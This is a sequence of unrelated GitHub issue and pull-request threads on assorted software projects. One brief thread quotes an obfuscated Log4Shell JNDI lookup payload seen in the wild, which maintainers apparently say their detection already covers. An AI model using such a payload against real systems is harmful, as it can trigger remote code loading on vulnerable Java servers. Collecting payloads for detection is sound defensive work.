Added excluding characters for password generator! #905

Pull request type

Please check the type of change your PR introduces:

[ ] Bugfix
[x] New feature or enhancement
[ ] UI change (please include screenshot!)
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Documentation content changes
[ ] Internationalization and localization
[ ] Other (please describe):

What is the current behavior?
The password generator works as normal but doesn't have the functionality to exclude characters
Issue Number: #905
What is the current behavior?
The password generator has now a extra input field where the user can specify characters to exclude from the password generator. It's seperated via comma's.

Other information
It isn't finished yet and can someone help me how to add translation functionality, because the ui code part of the input field currently looks like this:
            <controls:CustomTextBox
                Header="Exclude Characters"
                IsReadOnly="False"
                Text="{x:Bind ViewModel.ExcludedCharacters, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}"/>

I don't really understand how the translation stuff works so it would be nice if someone could explain how to do it.
Quality check
Before creating this PR:

[x] Did you follow the code style guideline as described in CONTRIBUTING.md
[x] Did you build the app and test your changes?
[ ] Did you check for accessibility? On Windows, you can use Accessibility Insights for this.
[x] Did you verify that the change work in Release build configuration
[ ] Did you verify that all unit tests pass
[x] If necessary and if possible, did you verify your changes on:

[x] Windows
[ ] macOS (DevToys 2.0)
[ ] Linux (DevToys 2.0)

Hello,
Thank you for the update on this tool.
Concerning the localization of your header value you should look in the following file: PasswordGenerator.resw
This will allow you to add a new entry for your header, then you need to update the following section of the LanguageManager.cs in this file you need to add the same "Key" name that you use in the "PasswordGenerator.resw" file.
Once all of this is done you can replace the Header value in your view like this (replace "{KeyName}" by the name you choose in the PasswordGenerator.resw file):
    <controls:CustomTextBox
        Header="{x:Bind ViewModel.Strings.{KeyName}}"
        IsReadOnly="False"
        Text="{x:Bind ViewModel.ExcludedCharacters, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}"/>

I hope it will help you finish the update and feel free to ask if you need more help.

Hi,
The PR looks good to me in overall. Can you please follow @btiteux instructions to localize the text?

Hey @veler @btiteux,
Thanks for the response and help, I have added translation support and also fixed a small typo that i noticed. I think it's ready to be merged now.


Client.setNetworkFromAddressBook(NodeAddressBook) does not set certificate information

Description
Client.setNetworkFromAddressBook(NodeAddressBook) is both a public method that can be called directly by the user and also used internally when the address book is refreshed automatically from the mirror node. The certificate info inside the NodeAddressBook parameter is not passed through to Node.setAddressBookEntry() so TLS does not work unless we also specify Client.setVerifyCertificates(false), which is less secure.
Not tested, but believe it also results in the refreshed address book clearing the cert hash info from the built-in address book.
Steps to reproduce
Invoke Client.setNetworkFromAddressBook(NodeAddressBook) with a NodeAddressBook that has a list of consensus nodes each with 50212 TLS port and cert hash info.
Additional context
No response
Hedera network
testnet
Version
2.38.0
Operating system
None

Hey @steven-sheehy . Can you check out https://github.com/hashgraph/hedera-sdk-java/pull/1901 . The newly added override of setNetworkFromAddressBook() might be fixing the issue.

We decided to make it optional just to make sure we are not breaking something.
Is it possible for the mirror node team to test using the new function just to be sure everything works?
We could remove the overloaded method in one of the next releases if it's Ok.

Closing and adding a follow-up issue to enable this by default. https://github.com/hashgraph/hedera-sdk-java/issues/2015


Real-time Analysis

By putting the Raw Input WM_INPUT handling on a separate thread (and a background window), we no longer have to stay quiet on the UI thread and we can analyze the recorded inputs immediately in real-time.

Merge master into realtime
Don't spawn a second WinForms thread, rather create a window manually
Make sure default sorting is by device (group together same device name next to each other)
Reimplement Freeze
Perf: Measure how long it takes to record a single event coming in


oh-my-fish DMCA takedown

I'm just wondering if you can provide any clarification on what's going on with oh-my-fish's recent DMCA takedown. I've seen that another one was previously filed (https://news.ycombinator.com/item?id=10271304), but that was resolved — what's changed now?

:+1:

The DMCA was filed because the author's copyright was violated. The MIT license under which the code was released requires that attributions/copyright notices remain in place, which the maintainer of oh-my-fish decided to strip after their fallout.

From looking at Google's cache, the oh-my-fish AUTHORS and LICENCE files haven't been modified in five months (i.e. since they were updated after the original DMCA notice). Looking at the cache for one of the other mentioned repos, I can see "MIT © Jorge Bucaran" at the bottom of the README for oh-my-fish/plugin-tiny. I'm struggling to see what's changed since the LICENCE files were updated after the previous takedown.

LICENCE files were updated after the previous takedown.

Look harder.

@bucaran That's very helpful ^^ Thanks for exhaustive explanation. @daenney Thank you too! In fact I'v read DMCA myself but thanks anyway :+1:

@TeddyDD No problem! :smile:

That was as far as I was able to look unfortunately - Google don't cache indivual file contents from Github. I didn't really know where else to go for discussion (as the OMF issues are gone too). This seemed the logical place to go given it was referenced in the DMCA. I'm not trying to question your claims or anything — I just wanted some more details on what happened.

I don't think it was referenced in the DMCA. Are you sure you don't mean Wahoo?

The following comment by @TeddyDD, deleted by himself, not sure why, for posterity:

:+1:

My comment was sarcastic reply to your comment

Look harder

After your edited your comment, my become irrelevant and misleading so I removed them

@TeddyDD No problem, keep up the good work!

So, my fork already has the attribution
"Copyright (c) 2015, Jorge Bucaran<EMAIL_ADDRESS>for code taken from https://github.com/bucaran/wahoo/tree/master/lib"
You're also listed in the authors file
What else do you need?
You don't have the right to demand removal of the libs since you have them under MIT license.
You also can't demand that you're the only copyright holder in the license because the other folks also added code, so it's derivative work and it's copyrightable (and if I remove them, they can issue a DMCA of their own).


Provide concise documentation of cumulusci.yml project configuration options

Feature Type
I'm interested in functionality that solves a current problem or limitation in how CumulusCI works.
Does your feature request solve a current problem?
Trying to configure my project, I don't even know what options are available to me. How does config differ between 1GP, 2GP, 2GP unlocked, and unpackaged projects? What are the project options? How do I write a plan?
Some options are scattered to the wind around the documentation to be found by luck, some is nicely documented, and some clearly isn't documented at all yet is configured during project init. "See examples", like the built in cumulusci.yml is terrible documentation as that does not explain what things do or give me any clue if that is ALL of the options or just SOME or what values are allowed.
Describe the solution you'd like
I would like ALL configuration tags and options defined, with a brief description (even just one sentence) in https://cumulusci.readthedocs.io/en/stable/config.html
Describe alternatives you've considered
No response
Additional context
No response

Thank you for the feedback, @yippie. We've made improvements to the documentation over time, but there is still work to be done to make it easier for users to find what they need.


Circular dependencies in a Flux app

The documentation that suggests how to set up the Router in a flux application seems to end up with a browserify/require circular reference:
https://github.com/rackt/react-router/blob/master/docs/guides/flux.md
If you have a Handler that will call SomeActions.doSomeTransitionThing() the router returned in the require() call in SomeActions will be null/undefined.
Am I missing something with regards to how SomeActions will be called if it depends on the router?

@rpflorence do you mind elaborating on what you mean by creating an app container?
rickharrison's method worked but you mentioned that you can get by without the get and set methods. Thanks.

@rpflorence do you mind elaborating on what you mean by creating an app container?

I think something in this vein https://github.com/rpflorence/create-container


No cursor (randomly) on profile startup

Windows Terminal version (or Windows build number)
Microsoft Windows 10 Pro for Workstations 10.0.19043.1237 (2009, 21H1) Windows Terminal Preview 1.11.2421.0
Other Software
No response
Steps to reproduce
Do these four steps repeatedly:

Open the dropdown menu
Click Powershell (or any profile, see below)
Without supplying any input, observe whether the cursor appears or not
Exit the shell

In case it matters, I use the Vintage, blinking cursor.
Expected Behavior
The cursor will always show.
Actual Behavior
The cursor shows (or not) randomly.  The probability of it showing is about .8.
This affects all profiles.  I've tested with Powershell, CMD, TCC, PWSH, Ubuntu, and SSH.  When the cursor fails to show for an SSH profile, it fails to show at the password prompt.
When the cursor has failed to show, any keystroke, or WT losing/regaining the foreground will cause the cursor to become visible.

I am experiencing exactly the same problem. For me the cursor is gone more often then it is shown. It indeed seems to be related to using the dropdown menu to open a new profile. When I use a keyboard shortcut or the command panel to start a new profile the cursor seems to be shown always.
It is funny to see when I open a Dev CMD for Visual Studio the cursor is shown before the batch file is executed that initializes the Dev CMD. As soon as the prompt is shown, the cursor is not shown anymore.
FYI, this are my cursor settings (it's a snippet obviously):
"profiles":
{
     "defaults":
     {
         "cursorColor": "#048322",
         "cursorShape": "filledBox"
     }
},

In v1.13.10336.0 I now don't see the cursor at all:

It also doesn't show in the settings preview:


feature: support osx in travis.

@moonming the commit log is bad, we need to write some useful information.

https://github.com/iresty/apisix/pull/217
duplicated job, I think we can close one.


Question on assemble() with TreeRouteStack + method routes

given the following setup:
//# composer require zendframework/zend-router

require __DIR__ . '/vendor/autoload.php';

use Zend\Http\Request;
use Zend\Router\Http\TreeRouteStack;

$router = new TreeRouteStack();

$routes = [
    'post' => [
        'type'    => 'literal',
        'options' => [
            'route'    => '/blog/post',
            'constraints' => [
                'action' => '[a-zA-Z][a-zA-Z0-9_-]*',
                'page'   => '[0-9]+',
                'id'     => '[0-9]+',
            ],
            'defaults' => [
                'controller' => 'Blog\Controller\PostController',
                'action'     => 'index',
            ],
        ],
        'may_terminate' => false,
        'child_routes' => [
            'index' => [
                'type' => 'segment',
                'options' => [
                    'route' => '[/index[/:page]]',
                    'defaults' => [
                        'page' => 1,
                    ],
                ],
                'may_terminate' => false,
                'child_routes'  => [
                    'GET' => [
                        'type'    => 'method',
                        'options' => [
                            'verb' => 'GET',
                        ],
                    ],
                ],
            ],
            'read' => [
                'type' => 'segment',
                'options' => [
                    'route' => '/:id',
                    'defaults' => [
                        'action' => 'read',
                    ],
                ],
                'may_terminate' => false,
                'child_routes'  => [
                    'GET' => [
                        'type'    => 'method',
                        'options' => [
                            'verb' => 'GET',
                        ],
                    ],
                ],
            ],
            'update' => [
                'type' => 'segment',
                'options' => [
                    'route' => '/:id/update',
                    'defaults' => [
                        'action' => 'update',
                    ],
                ],
                'may_terminate' => false,
                'child_routes'  => [
                    'GET:POST' => [
                        'type'    => 'method',
                        'options' => [
                            'verb' => 'GET,POST',
                        ],
                    ],
                ],
            ],
        ],
    ],
];

$router->addRoutes($routes);

$name = 'post/index/GET';
echo $name . ' => ' . $router->assemble(['page' => 42], [
    'name'   => $name,
]) . PHP_EOL;
// /blog/post/index/42

$name = 'post/read/GET';
echo $name . ' => ' . $router->assemble(['id' => 123], [
    'name'   => $name,
]) . PHP_EOL;
// /blog/post/123

$name = 'post/update/GET:POST';
echo $name . ' => ' . $router->assemble(['id' => 123], [
    'name'   => $name,
]) . PHP_EOL;
// /blog/post/123/update

is it possible to avoid using the method route name (i.e. using just post/index, post/update) when assembling paths / generating URIs? Since we need to use may_terminate => false it would seem that is not possible. The only thing i was able to do was using an empty string for the route name and utilize ugly name assemble params like post/index/
When we are assembling urls we usually don't care about the method, the router will determine if the request method is accepted for the requested url.
...or am I missing something very basic/trivial? (my apologies in this case)
thanks and kind regards

There is undocumented Chain route that allows to combine several routes into one chained https://github.com/zendframework/zend-router/blob/release-3.0.2/src/Http/Chain.php
You can find example of its usage in tests:
https://github.com/zendframework/zend-router/blob/999398f705459a3cf546f18b729975fefbc6a6a1/test/Http/TreeRouteStackTest.php#L435-L451


Audit and fix verification

When bootstrapping StableHLO from MHLO, we have inherited MHLO's implementation of verification. It already has significant coverage of the opset, but there's still plenty to do to review the existing implementations for completeness and provide new implementations where none exist. Let's figure out how to track this work and get to comprehensive coverage.

status.md landed yesterday, and this is where I'll keep track of the status of verification / shape inference. I'll close this ticket for now and will open individual tickets / pull requests for individual ops as needed


Support for rich text blocks

Is your feature request related to a problem? Please describe.
I always run into issues with formatting strings using markdown, esp if they already contain *~_`, or if I combine the various formats. Slack supports rich text blocks/sections, which allows for much better control of the formatting. But slack-block-builder does not seem to support these,.
Describe the solution you'd like
slack-block-builder implementation of the rich text blocks/sections as described here:
https://api.slack.com/changelog/2019-09-what-they-see-is-what-you-get-and-more-and-less
(weirdly not documented in the API docs from what I can see)
Describe alternatives you've considered
I build these blocks manually now, and insert them into objects created with slack-block-builder, which makes me feel sad and unclean.

Thanks for sending this over! The only think that worries me about supporting these blocks is that they are not officially documented in the Slack API docs. They do show up in some of the documents as part of payloads, and also in the payloads when inspecting a message with the developer tool, but at the moment they are not publicly available.
However, it could be interesting to create an Experimental object with those blocks. I'll need to think about this, and perhaps talk with someone on their end on their thoughts.
But I wonder if using the markdown helpers and Slack's markdown standard might help out here with your cases?

After some thinking, probably not going to support these in the short term, until they are documented by Slack

Absolutely! I plan to get this pushed out this week. Thanks!

Absolutely! I plan to get this pushed out this week. Thanks!

Any update on this?

Note that this one also has an input counterpart https://api.slack.com/reference/block-kit/block-elements#rich_text_input

Hi, any news about this one?

@raycharius Is this coming? should we create a PR?
Thanks for your awesome job!

Hey there +1 also wishing for this as well.


Vuepress conversion

#5

@athyk I'm closing this PR. This repository will soon be deleted since we have moved all the documentation part within the mevn-cli repository. Kindly head over to the official repository and have a look at the issues listed there.


Update Grid.js

https://github.com/angular-ui/ng-grid/issues/2889

This one, from looking at the code, I think I can merge myself.  Merging.


Only use lancache.steamcontent.com for steam

What CDN does this PR relate to
Remove all non lancache domains from steam. This PR requires https://github.com/lancachenet/monolithic/pull/87 to be implemented before merging (and perhaps some time for people to adopt as well!)
Does this require running via sniproxy
No
Capture method
Steam change logs and direct discussions with valve
Testing Scenario
https://github.com/lancachenet/monolithic/pull/87
Testing Configuration
https://github.com/lancachenet/monolithic/pull/87#issuecomment-579837241
Sniproxy output
N/A

@VibroAxe - https://github.com/lancachenet/monolithic/pull/87 has been merged. Worth waiting for the next batch of LANs next week to further test the new steam approach or happy to take this one out of WIP now?

I think we should leave this be for the moment, without the ua caching this merge will break the cache for anyone not running latest. I'm thinking give it 2-3 months then merge in?

Ran into an issue where creating workshop collections won't work because it tries to reach https://ufs0101.steamcontent.com:8699/ugcupload. That obviously can't work when one only have a SNI proxy on port 443.
I assume Valve expects that anything else than lancache.steamcontent.com aren't messed with now. So I ask that you consider merging this PR again to allieviate issues like this.

@Lepidopterist @mintopia @MathewBurnett anyone have any thoughts on merging this?

@Lepidopterist @mintopia @MathewBurnett anyone have any thoughts on merging this?

I think we should try merging it and keep an eye on support requests and feedback. It should be OK.

I think we should try merging it and keep an eye on support requests and feedback. It should be OK.

Agreed.  It's been a while.
On Thu, 14 Jan 2021 at 15:38, Jessica Smith<EMAIL_ADDRESS>wrote:

I think we should try merging it and keep an eye on support requests and
feedback. It should be OK.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/uklans/cache-domains/pull/124#issuecomment-760275714,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEZ4IEFVTQXHR2VYK645Z43SZ4FWDANCNFSM4KNHXISA
.

Agreed.  It's been a while.
On Thu, 14 Jan 2021 at 15:38, Jessica Smith<EMAIL_ADDRESS>wrote:

I think we should try merging it and keep an eye on support requests and
feedback. It should be OK.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/uklans/cache-domains/pull/124#issuecomment-760275714,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEZ4IEFVTQXHR2VYK645Z43SZ4FWDANCNFSM4KNHXISA
.

You update http://diagnostics.lancache.net/ to reflect this change.

You update http://diagnostics.lancache.net/ to reflect this change.


Issue creating new project: Missing user in yarn: AVA

-----------------------------------------------
  (                  )   (
  )\ )   (        ( /(   )\ )    *   )
 (()/(   )\ )     )\()) (()/(  ` )  /(   (
  /(_)) (()/(    ((_)\   /(_))  ( )(_))  )\
 (_))    /(_))_   _((_) (_))   (_(_())  ((_)
 |_ _|  (_)) __| | \| | |_ _|  |_   _|  | __|
  | |     | (_ | | .` |  | |     | |    | _|
 |___|     \___| |_|\_| |___|    |_|    |___|
-----------------------------------------------

An unfair headstart for your React Native apps.
https://infinite.red/ignite

-----------------------------------------------

🔥 igniting app PizzaApp
✔ using the Infinite Red 2016 boilerplate
✔ added React Native 0.42.0
? Would you like Ignite Development Screens? No
? What vector icon library will you use? none
? What internationalization library will you use? none
? What animation library will you use? none
⠧ ▸ installing ignite dependenciesan error occured while installing ignite-ir-boilerplate-2016 boilerplate.
Error: Command failed: yarn
error An unexpected error occurred: "https://registry.yarnpkg.com/@ava%2fbabel-preset-stage-4: User not found".

⠸ ▸ installing ignite dependencies

ignite doctor results:
System
  platform           darwin
  arch               x64
  cpu                8 cores                                      Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
  directory          /Users/XXXXXXX/Sites/personal/react

JavaScript
  node               7.6.0        /Users/XXXXXXX/.nvm/versions/node/v7.6.0/bin/node
  npm                4.1.2        /Users/XXXXXXX/.nvm/versions/node/v7.6.0/bin/npm
  yarn               0.24.4       /Users/XXXXXXX/.nvm/versions/node/v7.6.0/bin/yarn

React Native
  react-native-cli   2.0.1

Ignite
  ignite             2.0.0-beta.9   /Users/XXXXXXX/.nvm/versions/node/v7.6.0/bin/ignite
vvv -----[ DEBUG ]----- vvv
{ Error: Command failed: java -version 2>&1

    at ChildProcess.exithandler (child_process.js:211:12)
    at emitTwo (events.js:106:13)
    at ChildProcess.emit (events.js:192:7)
    at maybeClose (internal/child_process.js:890:16)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:226:5)
  killed: false,
  code: 1,
  signal: null,
  cmd: 'java -version 2>&1',
  stderr: '' }
^^^ -----[ DEBUG ]----- ^^^
➜  react ```

I'm stuck on the install at this point.

Hey @brendanfmartin , sorry you're having issues. I haven't seen this issue before at all and am kind of scratching my head. Any other context you can give?

Hey @jamonholmgren, thanks for the reply. I have never used ignite before so everything was from a fresh install.
It appears that this error error An unexpected error occurred: "https://registry.yarnpkg.com/@ava%2fbabel-preset-stage-4: User not found". is caused during the installation step of ignite-ir-boilerplate-2016. I also attempted to set up ignite-ir-boilerplate-2016 separately directly from git with a yarn install and received the same issue. I checked npm and it does appear that this user is no longer there: https://www.npmjs.com/~ava however the package does exist: https://www.npmjs.com/package/@ava/babel-preset-stage-4
I am going to attempt to clone the boilerplate and point the package.json directly to the github repo for the project: https://github.com/avajs/babel-preset-stage-4
NOTE: I have seen similar issues that only appear when you npm cache clean or npm cache clear (I forget which does what at the moment) so if you want to do those steps to attempt to reproduce I highly recommend backing up your node_module directory.

@brendanfmartin That sounds like a plan. Let me know what you find out.

Still an issue? I wonder if npm was cranky that day?

Thanks for the follow up, it appears there is still an issue. I will try on another network to confirm firewall isn't an issue. This is highly unusual

I've confirmed that it's localized to my work laptop due to a custom npm setup.

Thx for closing the loop.


HuggingFaceEndpoint does not raise exceptions when API call fails due to token counts.

Checked other resources

[X] I added a very descriptive title to this issue.
[X] I searched the LangChain documentation with the integrated search.
[X] I used the GitHub search to find a similar question and didn't find it.
[X] I am sure that this is a bug in LangChain rather than my code.
[X] The bug is not resolved by updating to the latest stable version of LangChain (or the specific integration package).

Example Code
bearer_token = hf_bearer_token()

# Get the HuggingFace API URL
ep: InferenceEndpoint = local_utils.hf.inference.llama_31_8B_Instruct(wait=True)

# Create the langchain endpoint
llm = HuggingFaceEndpoint(  #
        # repo_id=ep.repository,
        endpoint_url=ep.url,  # + chat_completions,  #
        task="text-generation",  #
        huggingfacehub_api_token=bearer_token,  #
)

#Bind parameters
llm = llm.bind(max_tokens=8192, temperature=None)  #.with_retry(stop_after_attempt=99)

# This is a utility class for conversing with the LLama3 model.
# Constrained output via regex or json is broken, so this approach is used instead

@dataclass
class LangChainRawChat:
    llm: LLM
    text: str

    def __init__(self, llm: LLM):
        self.llm = llm
        self.text = "<|begin_of_text|>"

    def system(self, content: str, *, role="system") -> None:
        self.text += f"<|start_header_id|>{role}<|end_header_id|>\n"
        self.text += content
        self.text += "<|eot_id|>"

    def user(self, content: str, *, role="user") -> None:
        self.text += f"<|start_header_id|>{role}<|end_header_id|>\n"
        self.text += content
        self.text += "<|eot_id|>"

    def assistant(self, content: str | None = None, *, role="assistant", temperature=0.0) -> str:
        self.text += f"<|start_header_id|>{role}<|end_header_id|>\n"
        if content is not None:
            self.text += content
        _temperature = temperature if temperature > 0.0 else None
        output = self.llm.invoke(self.text, max_tokens=8192, temperature=_temperature,
                                 stop_sequence="<|eot_id|>")
        self.text += output
        self.text += "<|eot_id|>"
        return content + output

# Sample code to run one "chat" session
src_article = """An article whose length along with prompt and output format instructions exceed the token limit"""

job_chat: LangChainRawChat = LangChainRawChat(llm)
job_chat.system(system_prompt)
job_chat.user(prompt.format(format=format, text=src_article))
response = job_chat.assistant("# Analysis\n\n## Entities and concepts\n\n")

Error Message and Stack Trace (if applicable)
The HuggingFaceEndpoint silently fails.
The API endpoint shows in the logs:
`inputs` tokens + `max_new_tokens` must be <= 16384. Given: 20016 `inputs` tokens and 512 `max_new_tokens`

The error message also implies that max_new_tokens from the bind on the LLM is being ignored for actual API request calls.
Description
I'm trying to use the langchain library to interface with Hugging Face Dedicated Endpoints.
System Info
System Information

OS:  Linux
OS Version:  #44-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 13 13:35:26 UTC 2024
Python Version:  3.12.5 | packaged by conda-forge | (main, Aug  8 2024, 18:36:51) [GCC 12.4.0]

Package Information

langchain_core: 0.2.38
langchain: 0.2.16
langchain_community: 0.2.16
langsmith: 0.1.117
langchain_cli: 0.0.30
langchain_huggingface: 0.0.3
langchain_llm: 0.4.15
langchain_openai: 0.1.23
langchain_text_splitters: 0.2.4
langgraph: 0.2.19
langserve: 0.2.3

Other Dependencies

accelerate: 0.34.2
aiohttp: 3.10.5
async-timeout: Installed. No version info available.
cpm_kernels: 1.0.11
dataclasses-json: 0.6.7
einops: 0.8.0
fastapi: 0.114.0
gitpython: 3.1.43
httpx: 0.27.2
huggingface-hub: 0.24.6
jsonpatch: 1.33
langgraph-checkpoint: 1.0.9
langserve[all]: Installed. No version info available.
libcst: 1.4.0
loguru: 0.7.2
numpy: 1.26.4

Hey there! I think the param you want to populate is max_new_tokens, not max_tokens
The warning seems like you're also passing a different input text than what's declared in your repro code.
@Jofthomas thoughts on the error handling here? Is the integration catching an error it shouldn't be?


[REQUEST] Need VSTS Tasks

Please support these tasks

Update Plugins
Update WebResources

I have done with 2 powershell script
Uploading Request.VSTS.Tasks.zip…

@phuocle thanks for suggesting these tasks.
Do you use the developer toolkit by any chance? I mean are you looking to perform the deploy action from the developer toolkit or you want to update specific web resources and plug-ins?

I guess this request might possibly be inspired by my recent articles on the subject...?

@rappen YES. Thanks for a great posts. I'm looking on VSTS 2 days and now you can see my build here.

Everything now with 1 click from DEV to QA then UAT then PRO
For Update Plugins, and WebResources I can archived it by PowerShell scripts. (attached files)
So I request this because I think maybe another developer can use it later. (or I can use it later for a feature projects)
For me, everything now ok with my PowerShell scripts
Note: Set-WebResources.ps1 use CRMDeveloperExtensions.config mapping file from @jlattimer CRMDeveloperExtensions tool
PowerShell.zip

Well done @phuocle  ! :)

@phuocle thanks for sharing, will take a look and make a task out of it :)

Any progress?  I was looking for a way to automate the Secure Configuration of a plugin as part of a release.  It sounds like this task you are considering building might do the trick.

You could also consider using this: https://github.com/scottdurow/SparkleXrm/wiki/spkl

I do :)  Love it.

@phuocle I am looking at the PowerShell Scripts you shared. For updating plug-in assembly. I take it you are just updating assembly, but where do you keep track of the steps etc...? I take it that is managed in the development environment?

@WaelHamze I changed the PowerShell script above to #spkl with some changes from the original #spkl

@WaelHamze Maybe we could integrate #spkl into the xrm-ci-framework for some tasks?
@phuocle What did you need to change - pull request?

@scottdurow I am keen to add some more capabilities around CI into the tasks. Publishing plug-ins and web resources is one of them. Do you think spkl can support generating steps/images into a json file as an alternative to tagging classes at design time? (I am thinking would be useful if you have a re-usable plug-in like auditing you want to use across many projects and you may want to register on different entities depending on the project/target)

For sure - it would be in the spkl.json, the same as the web resources - but I'd expect the more usual route would be to use the plugin assembly to define the steps.

@scottdurow sounds good. Will take a look. It should be easy to wrap this up in a task.

@phuocle @scottdurow
After some consideration, seems like the tasks to update plug-ins and web resources will always have some dependency on how developers manage these things in source control and visual studio IDE.
There are many options like Developer Toolkit, SPKL, Developer Extensions, PowerShell. Each of these will manage definition of plug-in types, steps, images and web resource mapping differently.
I am trying to create some tasks that are generic enough to be used independent of development tool (as much as possible).
I normally use the solution packager so don't require these tasks in the build.
For Plug-ins I could easily just update the assembly. Anything on top of that would require some agreed contract/file for types/steps/images.
For Web Resources I would need a mapping which will be dependent on the developer tool.
I could wrap SPKL in task but it is easy enough to use on its own and would require the developer to use that too.
Let me know your thoughts :)

This is now live on the marketplace. I will close this task. Let's open a specific new issue for any enhancements or issues required.


perf: TxSearch pagination

Since moving to faster blocks, Osmosis public RPC nodes have noticed massive RAM spikes, resulting in nodes constantly crashing:

After heap profiling, the issue was clearly coming from TxSearch, showing that it was unmarshaling a huge amount of data.

After looking into the method, the issue is that txSearch retrieves all hashes (filtered by the query condition), but we call Get (and therefore unmarshal) every filtered transaction from the transaction index store, regaurdless whether or not the transactions are within the pagination request. Therefore, if one were to call txSearch on an event that happens on almost every transaction, this causes the node to unmarshal essentially every transaction.
We have all the data we need in the key though to sort the transaction hashes without unmarshaling the transactions at all! This PR filters and sorts the hashes, paginates them, and then only retrieves the transactions that fall in the page being requested.
We have run this patch on two of our RPC nodes, and have seen zero spikes on the patched ones thus far!

PR checklist

[x] Tests written/updated
[x] Changelog entry added in .changelog (we use unclog to manage our changelog)
[x] Updated relevant documentation (docs/ or spec/) and code comments
[x] Title follows the Conventional Commits spec

I don't have perms to add labels, but I would imagine this would be a backport to 1, .38, and .37

I am not sure if we can backport this to v0.37 and v0.38 since it's API-breaking.

rpc/core/blocks.go:224:7: string `desc` has 3 occurrences, make it a constant (goconst)
	case "desc", "":


Allow full iris to be labelled as anonymous in neo4j as a configuration

Some users may use full iri's to represent blank/anonymous nodes, see
https://www.w3.org/TR/rdf11-concepts/#section-skolemization
For example a base iri representing a bnode could be:
http://example.com/.well-known/genid/{id}
Could we make this configurable for scigraph?

https://github.com/SciGraph/SciGraph/wiki/Post-processors#anonymous-node-tagger


"Stabilizable" prototype for expanded const generics

    | Metadata      | |
    | --------      | --- |
    | Owner(s)      | @BoxyUwU |
    | Team(s)       | [lang](http://github.com/rust-lang/lang-team), [types](https://github.com/rust-lang/types-team) |
    | Goal document | [2024h2/min_generic_const_arguments.md](https://rust-lang.github.io/rust-project-goals/2024h2/min_generic_const_arguments.md.html) |

    ## Summary

    Experiment with a new `min_generic_const_args` implementation to address challenges found with the existing approach

    ## Tasks and status

    * [ ] Discussion and moral support ([lang](http://github.com/rust-lang/lang-team), [types](https://github.com/rust-lang/types-team))

[ ] Implementation and mentoring (@BoxyUwu)
[ ] Implementation (@camelid)
[ ] Reviewer (@compiler-errors)

Oops


read excel localisation columns updated to fix #62

see issue #62

this seems to break the non-lateralising neutral semiology inputs - needs investigating


Payload used ITW

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

Ahm, yes, covered

Ahm, yes, covered

oops, my bad


Possibly missing dependency on puppetlabs-apt

On a fresh puppet install, the following manifest will not compile,
class {
	'nodejs':
		repo_url_suffix        => 'node_0.12',
		legacy_debian_symlinks => true;
}

Error is
Error: Evaluation Error: Error while evaluating a Function Call, Could not find class ::apt for node.example.net at /home/ff/.puppetlabs/etc/code/modules/nodejs/manifests/repo/nodesource/apt.pp:11:3 on node node.example.net

Puppet 4.2.3

it's weird that we hard-depend on
 {"name":"treydock/gpg_key","version_requirement":">=0.0.3 <1.0.0"}

but not on apt…

If it's just needed for one OS, the style guide defines that as a soft dependency that should be listed in the README (The soft dependencies should be made a lot clearer in the README though)

Oh right. It wouldn't make sense to pull that to yum machines. Closing.


cannot move children in ResourcesDescriptor

Interested party: @DelvarWorld

This will be trivial to fix.
Workaround: only add or remove last children

i'd also add it's relevant to hot reloading and moving things around in the source code <resource /> tags


Verify NotificationService reboot persistence

The job is currently built with setPersisted(true) and the required permissions in the Manifest. However, it does not seem to be restarting on its own after device reboot. Opening the app manually may or may not be restarting the service correctly.
Some StackOverflow answers suggest that an additional broadcast receiver class is needed, with the corresponding intent filters declared in the Manifest.  While we have a DeviceRebootReceiver the manifest entries are commented and it does not seem to be working.
All these cases must be tested, and if not necessary, the files and Manifest entries must be removed.

Tested on Android Oreo with the adb shell terminal. The job does appear in a waiting state after reboot without requiring opening of the app. This means that persistence is successful without the need of any of those classes.
However, it is hard to debug for lower APIs due to the fact that adb shell cmd doesn't seem to be installed for them. Looking for a workaround.

Checked Job persistence in lower APIs using a series of logs. The service seems to be working as intended and persisting over reboots without the need of the DeviceRebootReceiver class. Hence, removing the unnecessary files.

Files removed in commit 9207e94


How to detect if someone is speaking when muted?

Hello! Zoom has this lovely feature that tells you if you're muted when you're speaking. Is there a way to achieve this with Livekit?
Once the local track is muted, it doesn't seem to receive any updates. Would we need to run a separate mic listener while the track is muted (and not broadcasting) or is there a way to do this with Livekit as is?

Support for this added with https://github.com/livekit/client-sdk-js/pull/515
To make sure you can still read the volume of the track even when muted, you have to pass an active track to createAudioAnalyser with the option cloneTrack: true, this will make sure that the track used for the audioAnalyser doesn't get muted when you mute the track.

That's brilliant, looks nice a nice API for it too. Thank you :)


Getting 504 errors when hitting API from JOSM

Bug description
What is happening?
Getting 504 error responses when hitting API using JOSM
What should be happening?
Downloads without errors.
Repro Steps
Not sure I can repro.
It happened a few times right before 0336z 2021-03-16.
Screenshots & URL

Happened here with 'update selection' with 1 way selected.

@jeffreyameyer Not able see anything unusual in the logs on production and can at the moment only attribute this to a load balancer blip. Please let us know if you run into this again. I'll also keep an eye!

cc @batpad

In response to an "Update Data" request in JOSM just now...

@jeffreyameyer uh oh! Can you copy that exact request for me so I can try to reproduce?

Unfortunately, it's pretty hard to repro... I'll see if I can find something to repro reliably.

I am also getting frequent 504 errors when using JOSM

This is now covered in #633 and #642


Fix potential go-routine leak when retrying local activity

When retrying local activity a delayed callback will be scheduled to send the local activity task to task handler through the local activity tunnel. However, it's possible that when the callback is executed, the task handler has already shut down. If the task channel is already full, then it will cause the callback to be blocked and results in a go-routine leak. This pr fixes that.
Also fixed a lint issue which makes make bins fail.

Pull Request Test Coverage Report for Build 584

13 of 14 (92.86%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.02%) to 75.558%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/internal_task_pollers.go
12
13
92.31%

Totals

Change from base Build 583:
0.02%

Covered Lines:
8866

Relevant Lines:
11734

💛  - Coveralls

